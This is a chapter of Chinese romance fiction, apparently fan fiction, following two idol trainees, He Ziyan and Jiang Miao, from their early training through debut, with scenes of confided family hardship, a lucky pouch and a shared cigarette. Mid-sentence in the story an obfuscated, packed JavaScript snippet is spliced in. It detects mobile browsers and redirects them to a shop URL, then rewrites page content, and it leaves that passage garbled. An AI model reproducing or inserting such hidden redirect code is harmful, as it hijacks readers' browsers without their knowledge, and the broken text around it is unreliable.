“嗯。” 跟着他,贺子炎顺利进入了大楼。电梯门合上的瞬间,贺子炎听到对方开口,“我叫江淼,三水淼。” 贺子炎点了点头,有一搭没一搭道:“我们的名字还挺配,我是火,你是水。” “是啊。” 透过电梯内壁的镜面反光,贺子炎无意间发现,江淼正在盯着他,或者说是倒影里的他。 “刚刚你是猜的?” 江淼先开了口,轻声询问。 贺子炎扬了扬嘴角,“很明显吧,从你的长相来判断。” 他说得不算隐晦,但直白得恰到好处,点到为止,没有过分赞美。 江淼的眼睛始终带着笑,“你也很明显。” 一出电梯,他就注意到了。 “是吗?” 电梯门打开来,江淼率先出去,“之前羌哥说他们签了一个新的练习生,这两天要来,看来就是你。” 贺子炎跟在他后面,不紧不慢地走着,眼神锁定江淼单薄而挺拔的背影。 “嗯,听说这两年有组新团的打算。” “确实有,不过不知道具体策划是怎样的,可能还没那么快。” 贺子炎的视线从他的肩膀渐渐滑落下来,落到江淼白皙的手腕,还有他被包装袋勒红的指节。 江淼说着,抬起手推开练习室的门,“先进来吧。” 他扭头,对贺子炎露出一个微笑,“欢迎你来星图,说不定……我们以后会是队友呢。” 那个笑容很淡,但贺子炎当时就觉得,自己好像可以记一辈子。 说不上为什么。 江淼的这句话,还有他的笑容,在贺子炎许多次快要撑不下去的瞬间,都在他的脑海闪现过,也让他咬着牙坚持走下去。在后来真正出道的六人里,他们两个也是最早进入公司的,一起度过了长达一年的双人练习期。 这并不是一条前途无量的坦途,他从头开始学习舞蹈,没日没夜地练习,也不一定能出道,就算出道了,都不一定有可以赚钱的通告。 有好几次贺子炎都想要放弃,哪怕回去酒吧里给别人放歌,至少都能填饱肚子。 他也是偶然间的一次,发现有着这种想法的,并不只他一人,还有那个看起来云淡风轻的江淼。 那天很热,练习室的空调并不好使,贺子炎在楼道的贩卖机买了听可乐,朝楼梯口走去。天气热的时候,楼梯间总是格外阴凉。 但当他靠近楼梯口大门的时候,忽然听见江淼的声音,很轻。他的手从楼梯间的把手拿开。 “……出不了道我也能做别的工作,做别的说不定比这个挣得更多呢……” 贺子炎听到一些只字片语,例如“钱的事不要担心”、“你好好学习”,“我最近好很多了”,还有“你记得多吃鸡蛋,买给你的牛奶都要喝掉。” 贺子炎微微皱了皱眉。 怎么听起来像是有个私生子似的。 哦对,他好像有一个亲妹妹…… 正琢磨着,门突然从那头打开了。 两人面面相觑,一时间有些尴尬。 江淼握着手机,脸上的讶异很快消失,他微笑着询问,“怎么站在这儿?” 贺子炎明显能察觉出他的不安,尽管他现在看起来和平时没什么分别,脸上依旧是那种温和的、毫无攻击性的笑。 但在他看来,眼前的江淼就像是一只被撞见舔舐伤口的兔子。 不太妙。 “我想来楼梯间休息。”贺子炎抬起拿着可乐的手。 “这样啊。”江淼将手机收进口袋里,把门再打开了些,侧身打算离开。 但他的手腕被很冷的一只手握住了。 是贺子炎被可乐冰过之后的手。 “啊对了,我的肩膀好像扯到了。”贺子炎笑着抓住他,“淼哥,你帮我看一下吧。” 就这样,本应该假装无事发生然后各自走开的场合,贺子炎偏偏选择不放走他。 明明两个人都心知肚明。 江淼没有拒绝,把他带到了无人的练习室,悉心为他检查了“拉伤”的地方,还特意给他贴上了自己随身携带备用的止痛贴,尽管他心里清楚,贺子炎八成是找借口。 “好了。” “谢啦。”贺子炎对他笑了笑,坐在地上对着练习室镜子瞅了一眼后肩,“感觉舒服多了。” “你练完舞多拉伸一下。”江淼从半蹲着的姿势站起来,低头提醒他。 贺子炎抬起头望向他。 江淼也看着他,之前他一直认为贺子炎的长相带着点野蛮生长的味道,高大,宽肩,麦色皮肤,虽然说话总是插科打诨,但那种不好惹的感觉其实压不住。 但他忽然发现,贺子炎的眼睛很亮,瞳孔好黑,像小狗的眼神。 “上一次遇到对我这么好的人,还是在福利院里。”贺子炎仰着头说。 突如其来的这样一句话,江淼的心跳似乎都停了一拍。 惊讶之余,他不自觉皱起眉。 这是极少数江淼无法管理好自己表情的时刻。 福利院…… 贺子炎的脸上依旧是那副毫不在乎的笑,看起来坦诚、真挚,又透着一丝不明显的漫不经心。 他拍了拍自己身旁的地板,示意让江淼坐下来,坐在他身边。 江淼的眼神晃动了一下,最终还是顺应了他的要求。两个人背靠着一整面镜子,镜子里倒映出一对安静的背影,紧紧相依。 空旷的练习室看起来好像也没那么孤独。 “嗯……”贺子炎想了一会儿,突然“啧”了一声,好像是为如何开口而苦恼。 没想到没等他开口,江淼直接道:“你的事我不会告诉别人。” 贺子炎笑了,看向江淼,“我知道。” 他望着江淼高挺的鼻梁,还有他微垂的眼角,“我还能不知道你啊?” 这句话令江淼的心微微一动,然后从胸口缓慢地溢出一些陌生的情绪。 这是什么意思? 怎么就能这么笃定,好像很了解他一样。 但他说话的底气,令江淼无法开口去质疑什么。 “长话短说吧。”贺子炎的手搭在屈起的膝盖上,“我从小就是孤儿,在福利院长大的,对我最好的人就是那里的院长了,真的是特别好特别好的一个人。”他说着,手掌撑住下巴,眼神放空,像是陷入了回忆。 “你……”江淼的声音依旧是温温柔柔的,只是明显比往日的游刃有余多了几分犹豫,“你没有被领养?我的意思是,你这样的孩子,应该是很多领养家庭喜欢的。” 贺子炎笑了,懒散地转过脸,“是吗?” 江淼盯着他深黑的瞳孔,透过那双眼看到了自己。 “你小时候应该长得很好看。” 贺子炎笑笑,“凑合吧。”他卷起自己的袖子,“是有人想领养我的,但我挺舍不得院长,就没有走,反正留在那儿,还有很多玩得好的朋友。” 虽然那些朋友一个接一个地离开了,他不可能为了一己私欲,让任何一个朋友放弃来之不易的美满家庭。 所以他永远是站在福利院门口目送的那个人。 说着再见,但再也没有见过。 “不过在我十四岁的时候,院长就生病了,福利院本来就维持得很艰难,他一倒,剩下的人就更不知道怎么办,没过多久就撑不下去倒闭了。” “那你呢?你还那么小。”江淼望着他露出来的那一截小麦色的手臂,和他手背上的青筋。 “我啊,被一个人渣领养了。”贺子炎笑了笑,双腿伸开来,整个人倚在镜子上,漫不经心,“老东西看着人模狗样的,把我领回去,一开始还挺不错的,结果没两天就喝得烂醉,喝醉了就打人,他老婆天天打牌,输了就打我。我那时候都搞不懂,他们领养我是为了什么?为了找一个出气筒?还是想养一条不咬人的狗?” 江淼一时间沉默了,他眉头始终皱着,手指贴着冰冷的地板。 “我后来知道了,原来他们之前有一个儿子,但是那孩子出车祸死了,两个人都觉得是对方的责任,互相埋怨,不光儿子没了,生意也失败了,当时算命的人告诉他们,再有一个儿子就能转运。可他们怎么都生不了第二胎。” 贺子炎说每一句话的语气里,都带着笑意,像是自嘲,又像是轻蔑。 “是不是很离谱?”他看向江淼,“还真就是这么离谱,他们信了那个算命老头儿的话,为了转运跑去孤儿院,相中了我这么一个‘儿子’,就把我弄回来了,我可不是他们的出气筒,受不了我就跑了。” 后面的话,贺子炎没有直接说,但江淼已经可以预料到。 左不过就是他们发现,运气根本没有因为这个孩子的到来而好转,生活依旧深陷泥沼,于是,身为寄托的贺子炎逐渐成为这对失败夫妻的发泄口,本来就不是亲生的,也没有多少感情,当然不会在乎。 那当时的他,被虐待被折磨,逃离了本来就不属于自己的地方,又回不去福利院,只剩自己一个人,是怎么长大的…… 正沉浸在酸涩的假象中,忽然地,贺子炎凑到了他眼前。 江淼的心重重地跳了跳。 “你怎么一副要哭了的表情。”贺子炎歪着头,凑过来盯着他,两个人之间只隔着十厘米的距离。 很近,近到贺子炎能看到江淼脸上细小的绒毛,和他上眼睑半透出的血管。 江淼没有躲,反倒勾起嘴角,双眼一下子弯起来。 “你看错了。” 这样的回应,贺子炎多少有点意外。 看错了? 江淼没有回避贺子炎的眼神,笑眼也笔直地盯着他。 “这些事,你对多少人说过?” 贺子炎更没想到他会这样说,思绪竟停顿了一秒。 但随后他笑了出来,回答他,“一个。” 江淼抬了抬眼,一副不太相信的样子。 “真的。”贺子炎做出对他发誓的表情,“我没有说谎。” 江淼伸手,摸了摸自己的后颈,静了几秒之后,转过整个身子,面对贺子炎。 “其实我不是很介意你今天听到我打电话的事,就算你不说这些。” 他的坦诚很难得,平时几乎不会展现给任何人。 贺子炎也转过来,笑着抓了抓头发,“你太聪明了,瞒不过你。” 江淼摇头,语气听上去很稳重,“但是你告诉我了,我肯定会帮你保守这个秘密。” 没想到下一秒,他却看到贺子炎摇头。 “我不需要你帮我保守。”他笑得很开朗,眼睛始终望着江淼,“我想听你的秘密。” 在很短暂的几秒里,江淼的心动摇了。 关于他这几年经历的事,他明明不想告诉任何人。咬着牙走到现在,依旧没有挣到一个多么光明的未来,他是耻于回头去看过去,也不愿将这些事拿出来博谁的同情。前途渺茫,江淼只想心无旁骛地做好每一件事,好好地把妹妹带大。 过早地进入社会,他早就习惯了做一个圆滑的人,左右逢源,让每个人都开心,他才会生活得容易一点。不表露真实情绪,给每个人恰到好处的关心,看破不说破,这些才是江淼的作风。 但贺子炎这个人太奇怪了,就像是拿着一个凿子出现在他身边的,每一次靠近,都在一点点凿碎他坚固的外壳。 江淼看了一眼时间,站了起来。 贺子炎还以为他不想说,想找补,“其实……” “到吃饭的时间了。”江淼走到角落里的架子上拿起自己的外套,看向贺子炎,“有约吗?一起吃饭?” 峰回路转。 “好。”贺子炎起身,跟上他。 吃饭的时候,江淼随口说起他的情况,也简化了很多他认为不必要的细节,比如事故过后,他打了无数个电话,询问他们有没有找到父母的遗体,哪怕是一些碎片。 再比如他和妹妹是如何被几个亲戚踢皮球一样,抛过来,扔过去,当着他们的面互相数落彼此。 还有一些很琐碎的小事,其实都快忘了,但重新讲述一遍的时候,竟然又回想起来。 妹妹那时候才几岁大,竟然对他说,可不可以把她放到孤儿院。 “当时我怎么都想不通,她一个小孩子是怎么会说这种事的,一定是大人教她的。” 贺子炎静静地望着江淼,窥见他难以显露的脆弱。 “她说她不想让我照顾她了,她觉得我好累。”江淼看向窗外,川流不息的车,令人烦躁的喇叭引得飞鸟四散。 “后来你们从亲戚家出来了。”贺子炎道。 “嗯,我多打几份工,其实也不是那么困难,我们还有一笔赔偿金,也够花了。”江淼一边吃饭,一边说,“只要她上了大学,就会顺利很多。” 上大学。 贺子炎想,现在她才初中。 江淼还要熬好几年。 和他曾经料想的不太一样,看起来干净又温柔的江淼,实际上举步维艰地生活着,一个在别人眼里也还是孩子的人,背负着另一个孩子的人生。 只是他伪装得太完美了,让人真的会产生一种……他的人生没有受过挫的错觉。 之前相处的半年里,江淼明明时刻微笑,善良,宽容,有亲和力,无论说什么都像是一种安抚,可贺子炎总能隐隐感觉到,他们之间仿佛隔着什么。 更准确点,是江淼和任何人身上都隔着一层看不见的膜。 他温柔地对待每一个人,但不会对任何人交出自己的内心。 直到相互剖开来的这一天,贺子炎才感觉自己真正触碰到了真实的江淼。 “你不想笑的时候,可以不用对我笑。” 贺子炎难得地将语气放得真诚而温和,没有一丝一毫调侃,全是认真。 他隔着桌子,朝江淼伸出手。 江淼抿开嘴角的笑意,也伸出手回握住他。 这是他们第一次握手,看起来是很生疏的动作,但却第一次触碰到彼此的心。 贺子炎握手并不是很用力,但没有立刻松开,他笑着,看着被攥住的江淼的手。 “你好白啊。” 江淼这才注意到,交握的双手之间过于明显的肤色差。 “是比你白一点。”他把手抽回来,给自己倒了杯水。 不止是在那次饭桌上,后来的贺子炎也不止一次地说过让他不想笑就不要笑的话。 一开始江淼是不习惯的,微笑已经成为他的惯性动作,是一种自我保护,但久而久之,他逐渐学着在贺子炎面前放下戒备,发下一身沉重的伪装。 他没那么喜欢笑,又足够敏感,一眼就能看出对方心里在想什么,就索性装傻,陪着笑脸。 形形色色的人里,他唯独看不透贺子炎。 贺子炎会把每一句真话掺在玩笑与谎言中,没人能分辨出来,哪句才是真心。 在程羌的安排下,他们住在同一间宿舍里,房间很窄很小,只放得下一个柜子和一张上下床,贺子炎把方便的下铺让给了他。他们一起训练,一起吃饭、睡觉,几乎没有分开的时间。 江垚中考结束、高中入学,贺子炎都跟着去,帮他们搬书搬行李,他生病的时候,贺子炎还要去替他打工,怎么都说不听。 贺子炎总是唠叨他,要他注意身体,这种话说多了,果然他还真被说中,因为急性肠胃炎进了医院。 当时他走路都困难,是贺子炎背他去的。 打吊针的时候,贺子炎就坐在他身边,任他靠着,嘴里一直念叨个不停,说他打了太多工,做了太多事,饭也不好好吃,这样身体迟早要垮掉。 江淼当时很虚弱,觉得他好吵,可心里又被他的话拧得发酸。 他笑了笑,声音也是虚的,“那怎么办……不打工谁养我们?” 贺子炎从来都不会接不上话。 “我啊。”他总是笑得阳光灿烂,“放心,哥肯定能红,到时候养十个妹妹都不成问题。” 医院的白炽灯照得人眼睛疼。 说的是养十个“妹妹”,而不是“养你”。 贺子炎说话永远是看似轻浮夸张,实则留有余地。 “好啊。”江淼脸色苍白,但笑容是真诚的,“祝你大红大紫,有花不完的钱。” 但两个人在一起,总好过之前江淼一个人,至少消磨了很多孤独疲倦的时刻,江淼在外永远是贴心哥哥,对待公司仅有的练习生都无微不至,私底下,回到和贺子炎两个人的小房间里,他才会说出一些不那么“江淼”的话,偶尔也能成为那个被照顾的人。 贺子炎会在深夜和他说起哪个练习生偷偷恋爱的事,也会笑着问他想不想谈恋爱,有没有谈过。 “工作都来不及,哪有时间想这些。” “你不好奇我的吗?” 江淼在黑暗中笑笑,“不好奇,我猜得到。” 像他这样的人,又在酒吧那种地方工作过,想也知道桃花该有多少。 “你猜得到什么?”贺子炎翻身朝下面看。 江淼盖好了被子,戴上眼罩,语气很轻,“没什么,先睡了,晚安。” 第二天早上起来,江淼还是和往常一样,温柔地笑着,给每个人帮助和关心。 贺子炎想,这个人好像对每个人都有取之不竭的温柔。 但他恐怕也是最无情的人。 就这样,他们陪彼此熬过了最艰难的时光,也迎来了更多的伙伴,最开始是路远,然后是从星图另外的声乐部门转来的凌一,接着就是伴随很多坊间传闻而来的方觉夏,生活忽然间变得丰富多彩起来,但人一多,贺子炎就愈发感觉,江淼的好,是可以被任何人感受到的。 他也没什么特别。 但有些时候,江淼会给他和别人不一样的东西,细微的小表情,还有那些不能被其他人看到的脆弱和疲倦。 在大家准备好要五人出道的时候,裴听颂空降来到星图,并且确定和他们一起出道,这一下子打乱了很多计划,六人重新磨合,奇怪的是,虽然听说他背景很强,但意外地很好相处,性格直接,唯独和方觉夏不对付。 贺子炎是个喜欢搞气氛的人,尝试过好几次撮合两个人,但效果不佳。方觉夏是个一心只装着练习和舞台的单纯孩子,性格比较安静,偏偏裴听颂又张扬骄傲,这两人才是真的水火不容。 还是让他们自己慢慢来比较好。 江淼被公司任命为队长,肩上担子很重,出道的前一天,他给每一个队员都送了一个自己亲手做的小福袋,里面放着他去寺庙求来的护身符。 “谢谢队长!”路远很开心地收下了。 “谢谢淼淼,淼淼我爱你!你就是最好最好的队长!” “谢谢队长。” 贺子炎的福袋,是江淼回到房间之后给他的。 “送给你。”江淼微笑着递给他。 贺子炎说了谢谢,伸手收下,“只有我有?” “当然不是。”江淼靠着墙,“每个人都有。” 贺子炎手指本来都碰到福包上的绳子,听了这句话,他慢悠悠点了点头,没有打开,而是选择先整理自己的东西,准备搬家。 “时间过得好快啊,一转眼就要出道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727016|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,还有新宿舍住。” “对呀。”江淼也收拾着行李,“是不是很高兴,终于不用挤在上面睡了,你这么高,每次上下都很累吧。” “还好。”贺子炎没征兆地说出这样一句话,“和你住一起很开心。” 江淼手上的动作微微一停。 贺子炎又沉声道,“和你一起出道也很开心。” 江淼沉默了一阵。 在那些看不到未来的晦暗日子里,是眼前这个人陪着他一起咬牙扛过来的。 从一开始就是,从身边还没有那些可爱的队友的时候开始。 他们在小房间里吃过火锅,和妹妹一起过年,整个房间都是水汽,三天都没散尽。贺子炎过生日偏偏肩膀受了伤,他们在医院吹蜡烛。江垚开家长会,贺子炎替他去,用他的名字。夏天的时候他们在练习室通宵,累了直接倒在地板上睡觉,肩靠着肩。冬天下着雪,他们一起爬山,大喊着“我们一定会出道”。 一起挨声乐老师的骂,一起跳舞跳到抬不起脚,一起等来一个又一个新的练习生,他们未来的队友。 太多了。 “我也是。”江淼背过身,声音很轻,“很开心。” 很幸运。 他走到墙角,把一直放在那儿的古筝拿起来,打算背上。 “对了,我还没听过你弹古筝呢。”贺子炎拽了拽江淼的袖子,又晃了晃,像是在撒娇,“赏个脸吧队长。” “你想听啊?”短短四个字,被江淼说得语调轻盈。 贺子炎仰着脸,点了好几下头,一副很真诚的样子。 江淼站了一下小会儿,还是满足了贺子炎的小小心愿,取出古筝。 贺子炎连忙清空桌子,给他腾空位搁琴。 “我好久没弹了,可能都不太会了,你随便听听吧。”江淼慢条斯理地给自己缠指甲。 “想听什么?”他缠好了,抬眼看向贺子炎。 “我不太懂,要不你选一首?”贺子炎往江淼曾经住过的下铺一坐,补充道,“你弹什么我都爱听。” “那就……”江淼活动了一下手指,眼角眉梢都是温和的笑意,“高山流水?” 这曲子贺子炎倒是知道,估计没人不知道。 知音。 是算是暗示,还是下定义? “嗯。”贺子炎洒脱地笑了笑,收敛了大大咧咧的坐姿,端正了许多,“我准备好了!” “好。”江淼沉下呼吸,手放置于琴弦上方,略顿两秒,开始了弹奏。 琴声如同破冰的春水,在狭小的房间流淌。 江淼嘴上说可能不太会了,可指法却是显而易见的娴熟,谱子也了然于胸,有时候他在休息时手指也会动,虚空地练习指法,这些可爱的小细节都被贺子炎珍藏。 他静静凝视着江淼的纤细手指,听着琴音,心也随之沉下来。 这是贺子炎第一次听古筝,也是第一次看到这样的江淼。 尽管他总是开玩笑说自己只是为了养家糊口才走上这条路,但贺子炎看得出来,他是真的喜欢音乐,喜欢古筝。 如果不是因为那些波折,他现在应该毫无负担的做着自己喜欢的事,不用做谁的哥哥,只一心为他自己的人生。 可惜事与愿违。 一曲结束,江淼的手缓缓扬起,又轻轻放下,声音柔和,“果然是退步了。” “谁说的,弹得这么好。”贺子炎认真反驳,认真给出夸赞,“要不是走了现在这条路,你说不定可以成为古筝演奏家。” 江淼笑着摇头,擦试了一遍自己的琴,“我的水平我还是清楚的,那条路更需要天分。” 贺子炎还想说,但江淼抬头看向他,笑眼温柔,“子炎,你听我弹古筝开心吗?” 他微微一怔,而后又点头,“当然了。” “那就够了。”江淼两手放在琴弦上,“我就想做让人开心的事,弹琴也好,唱歌跳舞也好,只要能给别人带去一点快乐就足够了。” 他说着,把琴收起来,“现在大家都过得很辛苦嘛。” 贺子炎扯了扯嘴角。 别人说这样的话,未免有些冠冕堂皇,但江淼一定是真心。 在这一刻,他的脑中甚至产生出一种非常奇怪的妄想。 真想回到江淼最辛苦、最不快乐的时候,逗他,给他唱歌,让他开心一点。 “我给你背琴!” “不用,很轻的。” “给我。这哪轻啊哥哥,你肩膀真能扛。” “……谢谢。” 在前往停车场的路上,贺子炎想到了福包。 “你拜的什么菩萨,管什么的?”他看向身侧的江淼,“该不会是姻缘吧?” “什么都管,也可能什么都管不住。”江淼推着行李箱,大约是即将出道所带来的的喜悦尚未褪去,他的语气比往日轻松了不少,“怎么,刚要出道就想要姻缘啊?” “好像确实不太合适啊。”贺子炎笑起来。 上车落座之后,实在是太累,贺子炎一路睡了过去,颠簸中他隐约听到凌一的大嗓门,说着谢谢队长之类的话,还提到什么寺庙的花树和大佛之类的东西,半梦半醒,再睁眼,他们已经抵达新宿舍。 人还懵着,贺子炎下意识跟着其他人一起下车,站在后备箱前等着拿行李。伸懒腰的间隙,他突然听见身旁的江淼开口。 “你要是真想求姻缘,没准儿我的福包也能帮你招点桃花。” 他没反应过来,对江淼露出迷茫的表情。 江淼却笑了出来,和以往都不一样的笑,有点孩子气。 而贺子炎不知道的是,在江淼眼里,他这副懵懂的样子更像狗狗了。 程羌在前头喊着,“快跟我上去,给你们分房间。” “好!”凌一高举手,“我和觉夏一间!或者和淼淼!” 方觉夏对着羌哥点头,表示凌一说得对。 “哎哎淼哥已经说好和我一间了,一一你没戏了。”路远拍了拍他举起的手臂,然后回头看江淼,“是吧淼哥。” “嗯。”江淼笑着看向他,准备过去。 但他突然被贺子炎拽住。 贺子炎皱着眉小声对他说,“你什么时候答应他的?” 江淼依旧笑着,“很早了,刚听说要有新宿舍的那天,圆圆就来找我了。差点忘了恭喜你,托小裴少爷的福,你可以一个人独享大单间了。” 被拍了拍肩膀,但贺子炎没高兴起来,起床气反而加重了。 什么意思嘛。 他望着前面几人欢快的背影,长叹一口气。 失算了。 应该早点下手的。 “哎那小裴呢?”路远问。 “小裴啊,小裴他不住宿舍,他住自己的公寓,上学方便。”程羌答道。 路远被戳中笑点:“哈哈哈小裴还得上学,怎么这么好笑!” 贺子炎摇头,啧了一声,“这小孩儿真是,都不和哥哥们培养培养感情,传出去还说咱们卡团没出道就不合呢。” 方觉夏没说话,心道这句话说得也没什么大问题。 “他以后肯定会后悔的!”凌一哼了一声。 江淼也笑眯眯道,“是啊,没准儿小裴哪天又想回来住了。” “反正他不能跟我抢觉夏,也抢不走!”凌一抱住方觉夏的胳膊。 大家一起吵吵闹闹上了楼,各自去新房间收拾,等到真的闲下来,贺子炎才终于有机会打开那个福包。 里面装着一块暗红色护身符,正面是金色的经文,反过来,他看到了自己的名字。 贺子炎这三个字,被江淼写得很漂亮。 盯着自己的名字看了一会儿,贺子炎又拿起福包,倒过来拍了拍,想看看有没有落下什么。 忽然,看起来空空如也的福包里掉出来什么,轻飘飘的,晃晃悠悠,最终落到贺子炎的膝盖上。 一朵桃花。 贺子炎小心地拾起,放在眼前仔细地观察了许久。 真的是桃花,甚至还留有香气。 在路远突然推开房门进来的时候,贺子炎忙把花放回福包里。 “哎火哥,你这儿有那什么吗?” “哪什么?” 路远扶着脑袋想了一会儿,一拍腿,“起子,你有吗?” “有。”贺子炎起身从包里翻出个小工具盒,递给他,“什么头的都有,随便挑。” “谢了火哥,爱您。”路远接过来转头就要走。 贺子炎想起什么,假装不经意地提了一嘴,“哎对了……” “嗯?”路远又转过来,冲他眨了眨眼,“啥?” 贺子炎抓了抓后脑勺的头发,“队长给你的福包都装了什么啊?” “你没有吗?”路远抛起手里的工具盒,又接住,“队长说咱们一人一个的啊。” “我有,就想看看咱俩是不是一样的。”贺子炎干笑着解释。 “我的里面就是这个小佛牌。”路远从裤子口袋里摸出护身符,递过去,“应该都是一样的吧,不过我和一一的经文好像有一丁点儿差别,我俩对着看了一遍。” 贺子炎把护身符翻过来,看到路远的名字被工整地写在上面。 他还给路远,“就没了?” 路远摇头,“难不成淼哥给你的不一样?好家伙,这就开始区别对待了吗?我要告状,队长偏心!” “没有,你这心眼儿小得。”贺子炎的心跳得好快,太快了,以至于他说话都有些吃力,只能用笑掩饰过去。 “是一样的,我寻思不能真就这么一个小牌儿吧,想看看你是不是也这样,我还以为只有我就这么一个呢。” “你知道什么啊你,淼哥可是专门跑大老远去烧香的,他都说了,每个护身符其实有两半,另一半在他写好名字拜好菩萨之后取下来,还要亲自挂到树上,亲自打结。有这么好一队长你就偷着乐吧。” 是啊。 哪有这么好的队长。 贺子炎垂着眼,笑了笑。 “你笑得好奇怪啊。”路远抱起自己的胳膊搓了搓,“我鸡皮疙瘩都起来了。” “鸡皮疙瘩多就去搓个泥儿,别整我地板上。”贺子炎坐回床上,身子往后一倒,“回你房里找你的好队长去吧,你火哥要歇息了。” “得,拜拜了您呢。”路远带上了门。 房间回归了最初的沉寂。 贺子炎长长地呼出一口气,重新拿出福包,手指碰了碰那朵鲜活的花。这一刻,他耳边仿佛响起袅袅佛音,香火缭绕,江淼就站在花树下,漂亮,沉静。 静不下来的,只有他的心。 9. 营业悖论水火番外(二) 那天晚上,贺子炎给福包里的那朵花赋予了非常多非常满的含义,仿佛是可以暗示一切的弦外之音。 但早上起来,他又否定了这些。 或许寺庙里那棵桃花树刚刚好就在他求护身符的地方,在他写名字的时候,一朵花落了下来,不偏不倚落到属于他的福包上,于是江淼索性装了进去。 贺子炎决定这么说服自己。 他不能因为江淼的一个小举动,就一直想,一直想。 什么时候才算完。 而在那之后,江淼也没有更多的表现,还是和往常一样,做着那个无私奉献的温柔队长,对每一个成员照顾有加,毫无偏袒。 桃花被贺子炎夹进书里,心事也一并收起。 尽管一开始大家都许下了美好的愿景,但事实上,他们出道之后并不火,甚至没多少工作,就连难得出了专辑开签售会,去往现场的粉丝都寥寥无几,场面冷清。 娱乐圈从来不缺新人,大批大批涌现的浪花,也很快地被裹挟和吞没。 要说不难过一定是假的,毕竟每个人拼了命出道,都不会只想得到一个无人问津的结果。所以很长一段时间,成员陷入心态上的低潮期,或多或少地丧失了斗志,没有了出道前那种自信和野心。 面对开始丧失信心的成员,江淼永远是那个很认真鼓励、很认真地安慰他们的人。他仿佛没有丧气的时候,永远都微笑着拥抱他们,给他们加油,一遍遍说着“你好棒”、“好厉害”这样的话。 他手里仿佛捏着一根长长的绳子,把团员们紧紧地拴在一起,绑在他的身上。 大家走不动的时候,江淼会拖着他们走,大家兴奋的时候,江淼静静就跟在身后。 但在贺子炎眼里,这些都不一样。 他可以看到别人看不到的江淼。 偶尔,贺子炎会在大家吵闹时,发现江淼不见了。 江淼是一个很奇妙的人,他的存在感仿佛完全受他自己调控,想要控场的时候,节奏都轻松由他把握,想消失不见就不会有任何人察觉。 除非是遇到目光时刻倾注在他身上的人,比如贺子炎。 在他消失之后,贺子炎也不会发消息打电话找他,这样很没意思,他喜欢自己也偷偷溜出去,依凭直觉去试试,也不算找,就看看能不能碰到。 但几乎每次都能被他碰到,这一次是天台。 那一晚,他们被临时告知,失去了得之不易的表演机会。江淼安慰了所有人,深夜从宿舍消失。 贺子炎沿着楼梯上到最顶层,发现天台的门留着一丝缝隙,月色混合城市泛滥的灯从那里透出来,为他勾勒出一条引人前进的线。 推开铁门,他看到靠在天台栏杆的江淼,背影清瘦,穿着件单薄宽松的灰色衬衫,夜色里的光将布料浸透,透出少年气的腰线。 大约是听到声音,江淼回了头,天台的风把他的头发吹得有些乱,半遮住他略微下垂的眼。他的手肘支在栏杆上,右手抬着,食指和中指间夹着一点忽明忽暗的火光。 “你怎么来了?”江淼脸上迟一步浮现出笑意,风将燃烧的烟吹上夜空,也将他指尖积攒的一段烟灰吹落在地。 贺子炎没有见过江淼抽烟,这是第一次。 他走过去,脚步在江淼身侧站定,背倚着栏杆,有些懒散地朝江淼望过去。 “冷吗?” 江淼望向夜景,心里浮现出第一次被贺子炎撞破秘密的场景。 “还好,你不觉得这种天气很舒服吗?” 他从没有当着任何人的面抽过烟,包括江垚,也包括所有队员,不过现在历史重演。 思绪有些抽离,忽然间,贺子炎的手伸了过来,十分自然地取下他指间的烟,江淼看过去,看到他颇有些漫不经心地将他抽过的烟叼在唇边。 “女士香烟。”烟体在贺子炎手中显得愈发细长,他吸了一口,灰白色的烟雾从他唇边流溢出几缕,在江淼眼前飘着,又很快被风吹散,“还挺冲。” 江淼笑了笑,“不小心买错了,不过还挺好抽的。” “你什么时候开始抽烟的?”贺子炎朝他倾斜了些,眼神落在很远处的一个广告牌上。 “我想想……”江淼不太想回忆,甚至不太想说,沉默了片刻,还是觉得自己没办法对贺子炎沉默。 “我决定要把江垚单独托付给舅舅家,用自己身上的钱买了一条烟,觉得这样他们可能会更愿意。” “谁知道去了之后,江垚一直哭,他们也不愿意养她,我说了很久,也没什么结果,他们连我买的烟也没要,我只能全部带回去了。” 退也退不掉,他只好躲着江垚,一根根抽完,从一开始呛到流眼泪,到坦然地接受,沉溺在尼古丁的麻醉中,也没花多少时间。 “我没什么烟瘾,抽得少,偶尔几次还挺放松的。”江淼看起来很松弛,好像也不难过,“毕竟现在也算偶像,被拍到就不好了。” “你还怕被拍到啊?”贺子炎调笑了一句。 “我是怕影响我们团。”江淼无声地呼出一口气,“所有有可能造成负面影响的事,我都不想做,哪怕现在还没多少人关注。” 不知道为什么,他说出这一句的时候,贺子炎的思绪飘很远,想到了一些根本没可能的事,那恐怕比起抽烟,是更大更不可碰的禁忌。 就算有可能,那或许会被江淼划入[会造成更大负面影响]的分类,锁起来,不去做。 贺子炎又吸了一口烟,焦油的辛辣侵入肺腑。 哪怕像抽烟呢,偶尔几次,也好过没有。 想到这里,他刚好被呛到,咳嗽起来。 江淼轻笑一声,抬手在他背上轻轻拍了拍,“慢点儿。” 他的声音温柔至极,可贺子炎清楚他内心的冷漠,像沉沉的夜色,也裹着锋利的风。 “果然年轻不懂事儿。”贺子炎转移了话题,“我现在都不知道当初是怎么想的,居然敢直接做出道了一定会大红大紫的梦。” 江淼嘴角勾着浅淡的笑意,“你不觉得很好吗?” 贺子炎看向他,“好?什么好?” 江淼不继续说下去,只抬眼看了看贺子炎,像是一种温柔的点到为止。 因为和他在一起,所以才敢做最好最远的梦,这样就很好了。 他伸手过去,想从贺子炎手中拿回自己的烟,不成想贺子炎竟将手往后收了收,也转过脸盯着他,勾着唇角。 像是故意的。 江淼又向前伸了伸手,可贺子炎直接将手抬高,烟雾也跟着向上缭绕,飘向天际。 江淼没有像贺子炎想象得那样,对他说“还给我”,也没有生气,而是浮现出淡淡的笑,并打算收回手。 恰巧在这个时候,江淼的手机响了起来,是他的室友路远发来的信息。 两人之前微妙的氛围一时间被打破,江淼查看了消息。 “路远问我在哪里。”不知怎么,他直接对着贺子炎说出了内容,连他自己都后知后觉有些诧异。 